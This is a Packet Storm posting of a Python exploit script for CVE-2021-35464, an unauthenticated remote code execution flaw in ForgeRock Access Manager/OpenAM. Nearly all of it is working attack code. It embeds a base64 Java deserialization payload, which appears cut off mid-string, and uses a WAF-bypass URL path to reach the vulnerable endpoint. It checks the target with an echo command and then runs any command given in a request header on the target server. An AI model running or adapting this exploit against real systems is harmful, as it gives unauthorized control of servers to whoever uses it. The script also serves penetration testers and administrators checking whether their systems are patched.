Basic search

K
packetstormPhotubiasPACKETSTORM:163525
HistoryJul 16, 2021 - 12:00 a.m.

ForgeRock Access Manager/OpenAM 14.6.3 Remote Code Execution

2021-07-1600:00:00
Photubias
packetstormsecurity.com
1048
`# Exploit Title: ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated)  
# Date: 2021-07-14  
# Exploit Author: Photubias – tijl[dot]deneut[at]Howest[dot]be for www.ic4.be  
# Vendor Advisory: [1] https://backstage.forgerock.com/knowledge/kb/article/a47894244  
# Vendor Homepage: https://github.com/OpenIdentityPlatform/OpenAM/  
# Version: [1] OpenAM 14.6.3  
# [2] Forgerock 6.0.0.x and all versions of 6.5, up to and including 6.5.3, and is fixed as of version AM 7 released on June 29, 2021  
# Tested on: OpenAM 14.6.3 and Tomcat/8.5.68 with JDK-8u292 on Debian 10  
# CVE: CVE-2021-35464  
  
#!/usr/bin/env python3  
  
'''   
Copyright 2021 Photubias(c)  
  
This program is free software: you can redistribute it and/or modify  
it under the terms of the GNU General Public License as published by  
the Free Software Foundation, either version 3 of the License, or  
(at your option) any later version.  
  
This program is distributed in the hope that it will be useful,  
but WITHOUT ANY WARRANTY; without even the implied warranty of  
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the  
GNU General Public License for more details.  
  
You should have received a copy of the GNU General Public License  
along with this program. If not, see <http://www.gnu.org/licenses/>.  
  
File name CVE-2021-35464.py  
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be  
  
This is a native implementation without requirements, written in Python 3.  
Works equally well on Windows as Linux (as MacOS, probably ;-)  
  
Rewritten from and full credits to @Y4er_ChaBug:  
https://github.com/Y4er/openam-CVE-2021-35464  
and of course the discoverer @artsploit:  
https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464  
Created using https://github.com/frohoff/ysoserial  
'''  
  
import urllib.request, urllib.parse, ssl, sys, optparse  
  
## Static vars; change at will, but recommend leaving as is  
sURL = 'http://192.168.0.100:7080/openam'  
sEndpoint = 'ccversion/Version'  
sEndpoint = 'oauth2/..;/ccversion/Version' ## This bypasses potential WAFs  
iTimeout = 5  
strSerializedPayload = b'AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAABRfyv66vgAAADQBBgoARgCKCgCLAIwKAIsAjQoAHQCOCAB7CgAbAI8KAJAAkQoAkACSBwB8CgCLAJMIAJQKACAAlQgAlggAlwcAmAgAmQgAWQcAmgoAGwCbCACcCABxBwCdCwAWAJ4LABYAnwgAaAgAoAcAoQoAGwCiBwCjCgCkAKUIAKYHAKcIAKgKACAAqQgAqgkAJQCrBwCsCgAlAK0IAK4KAK8AsAoAIACxCACyCACzCAC0CAC1CAC2BwC3BwC4CgAwALkKADAAugoAuwC8CgAvAL0IAL4KAC8AvwoALwDACgAgAMEIAMIKABsAwwoAGwDECADFBwBlCgAbAMYIAMcHAMgIAMkIAMoHAMsKAEMAzAcAzQcAzgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwDPAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA2NscwEAEU  
  
## Ignore unsigned certs, if any because OpenAM is default HTTP  
ssl._create_default_https_context = ssl._create_unverified_context  
  
def checkParams(options, args):  
if args: sHost = args[0]  
else:  
sHost = input('[?] Please enter the URL ['+sURL+'] : ')  
if sHost == '': sHost = sURL  
if not sHost[-1:] == '/': sHost += '/'  
if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost  
if options.command: sCMD = options.command  
else: sCMD = ''  
if options.proxy: sProxy = options.proxy  
else: sProxy = ''  
return (sHost, sCMD, sProxy)  
  
def findEndpoint(oOpener, sHost, sProxy):  
def testEndpoint(sURL):  
oRequest = urllib.request.Request(sURL)  
if sProxy: oRequest.set_proxy(sProxy, 'http')  
try: oResponse = oOpener.open(oRequest, timeout = iTimeout)  
except: return False  
if oResponse.code == 200:  
if 'ForgeRock' in oResponse.read().decode(errors='ignore'):  
print('[+] Found potential vulnerable endpoint: ' + sURL)  
return True  
return False  
  
if testEndpoint(sHost + sEndpoint): return sHost + sEndpoint  
elif testEndpoint(sHost + 'openam/' + sEndpoint): return sHost + 'openam/' + sEndpoint  
elif testEndpoint(sHost + 'OpenAM/' + sEndpoint): return sHost + 'OpenAM/' + sEndpoint  
elif testEndpoint(sHost + 'openam/ccversion/Version'): return sHost + 'openam/ccversion/Version'  
elif testEndpoint(sHost + 'OpenAM/ccversion/Version'): return sHost + 'OpenAM/ccversion/Version'  
else: return ''  
  
def testVuln(oOpener, sURL, sProxy):  
oResponse = runCmd(oOpener, sURL, sProxy, 'echo CVE-2021-35464')  
## The response is actually not well formed HTTP, needs manual formatting  
bResp = bytearray(15) ## "CVE-2021-35464\n" should be 15 bytes  
try: oResponse.readinto(bResp)  
except: pass  
#print(bResp.split(b'\x00')[0])  
if 'CVE-2021-35464' in bResp.decode(): return True  
else: return False  
  
def runVuln(oOpener, sURL, sProxy, sCMD):  
oResponse = runCmd(oOpener, sURL, sProxy, sCMD)  
## The response is actually not well formed HTTP, needs manual formatting  
bResp = bytearray(4096)  
try: oResponse.readinto(bResp)  
except: pass ## The readinto still should have worked  
sResp = bResp.split(b'\x00')[0].decode()  
print(sResp)  
  
def runCmd(oOpener, sURL, sProxy, sCMD):  
oData = b'jato.pageSession=' + strSerializedPayload  
oHeaders = {'cmd' : sCMD}  
oRequest = urllib.request.Request(url = sURL, headers = oHeaders, data = oData)  
if sProxy: oRequest.set_proxy(sProxy, 'http')  
return oOpener.open(oRequest, timeout = iTimeout)  
  
def main():  
usage = (  
'usage: %prog [options] URL \n'  
'Example: CVE-2021-35464.py -c id http://192.168.0.100:7080/openam\n'  
'Example: CVE-2021-35464.py -c dir -p 127.0.0.1:8080 http://192.168.0.100:7080/openam\n'  
'When in doubt, just enter a single IP address'  
)  
  
parser = optparse.OptionParser(usage=usage)  
parser.add_option('--command', '-c', dest='command', help='Optional: The command to run remotely')  
parser.add_option('--proxy', '-p', dest='proxy', help='Optional: HTTP proxy to use, e.g. 127.0.0.1:8080')  
  
## Get or ask for the vars  
(options, args) = parser.parse_args()  
(sHost, sCMD, sProxy) = checkParams(options, args)  
  
## Verify reachability  
print('[!] Verifying reachability of ' + sHost)  
oOpener = urllib.request.build_opener()  
oRequest = urllib.request.Request(sHost)  
if sProxy: oRequest.set_proxy(sProxy, 'http')  
try: oResponse = oOpener.open(oRequest, timeout = iTimeout)  
except urllib.error.HTTPError: pass  
except: sys.exit('[-] Error, host ' + sHost + ' seems to be unreachable')  
print('[+] Endpoint ' + sHost + ' reachable')  
  
## Find endpoint  
print('[!] Finding correct OpenAM endpoint')  
sEndpoint = findEndpoint(oOpener, sHost, sProxy)  
if sEndpoint == '': sys.exit('[-] Error finding the correct OpenAM endpoint or not vulnerable.')  
  
## Verify vulnerability  
if testVuln(oOpener, sEndpoint, sProxy): print('[+] !SUCCESS! Host ' + sHost + ' is vulnerable to CVE-2021-35464')  
else: sys.exit('[-] Not vulnerable or this implementation does not work')  
if sCMD:  
print('[+] Running command "' + sCMD + '" now:\n')  
runVuln(oOpener, sEndpoint, sProxy, sCMD)  
else: print('[!] All done')  
  
if __name__ == "__main__":  
main()  
  
`